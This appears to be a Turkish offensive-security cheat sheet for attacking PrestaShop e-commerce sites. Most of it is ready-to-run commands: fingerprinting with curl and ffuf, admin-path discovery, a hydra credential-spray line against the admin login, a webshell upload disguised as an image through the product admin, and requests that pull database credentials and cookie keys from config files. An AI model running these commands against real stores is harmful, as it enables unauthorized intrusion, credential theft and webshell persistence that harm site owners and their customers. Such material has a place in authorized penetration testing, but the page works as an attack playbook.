PrestaShop
network cms
PrestaShop e-ticaret CMS’idir. Modül zafiyetleri, admin paneli ve
/modules/ yüzeyi sık RCE/SQLi verir.
Metodoloji
Section titled “Metodoloji”-
Sürüm, tema ve yüklü modülleri fingerprint et.
-
Admin path’i bul; credential spray uygula.
-
Modül CVE / upload / LFI hipotezlerini doğrula.
-
Webshell veya DB credential kanıtı al.
curl -skI https://TARGET/curl -sk https://TARGET/ | rg -i 'prestashop|var prestashop'curl -sk https://TARGET/docs/CHANGELOG.txt | headffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/CMS/Prestashop.fuzz.txt -mc 200,301,302,403Admin panel
Section titled “Admin panel”/admin/admin123/administration/admin-devffuf -u https://TARGET/FUZZ -w admin-paths.txt -mc 200,301,302hydra -L users.txt -P rockyou.txt https-post-form://TARGET/admin123/index.php:email=^USER^&passwd=^PASS^&submitLogin=1:F=InvalidModül yüzeyi
Section titled “Modül yüzeyi”ffuf -u https://TARGET/modules/FUZZ -w modules.txt -mc 200,301,403curl -sk https://TARGET/modules/ps_facetedsearch/nuclei -u https://TARGET -tags prestashopsearchsploit prestashopUpload / RCE kalıpları
Section titled “Upload / RCE kalıpları”# ürün görseli / modül upload → webshellcurl -sk -F 'file=@shell.php.jpg' -b ' PrestashopAdmin=COOKIE' https://TARGET/admin123/index.php?controller=AdminProductsSmarty SSTI / module ajax endpoint / zip extract path traversalConfig sızıntısı
Section titled “Config sızıntısı”curl -sk https://TARGET/app/config/parameters.phpcurl -sk https://TARGET/config/settings.inc.phpDB_NAME / DB_USER / DB_PASSWD / cookie_keyChecklist
Section titled “Checklist”[ ] Sürüm + modül listesi[ ] Admin path + spray[ ] Modül CVE / upload PoC[ ] Config veya shell kanıtı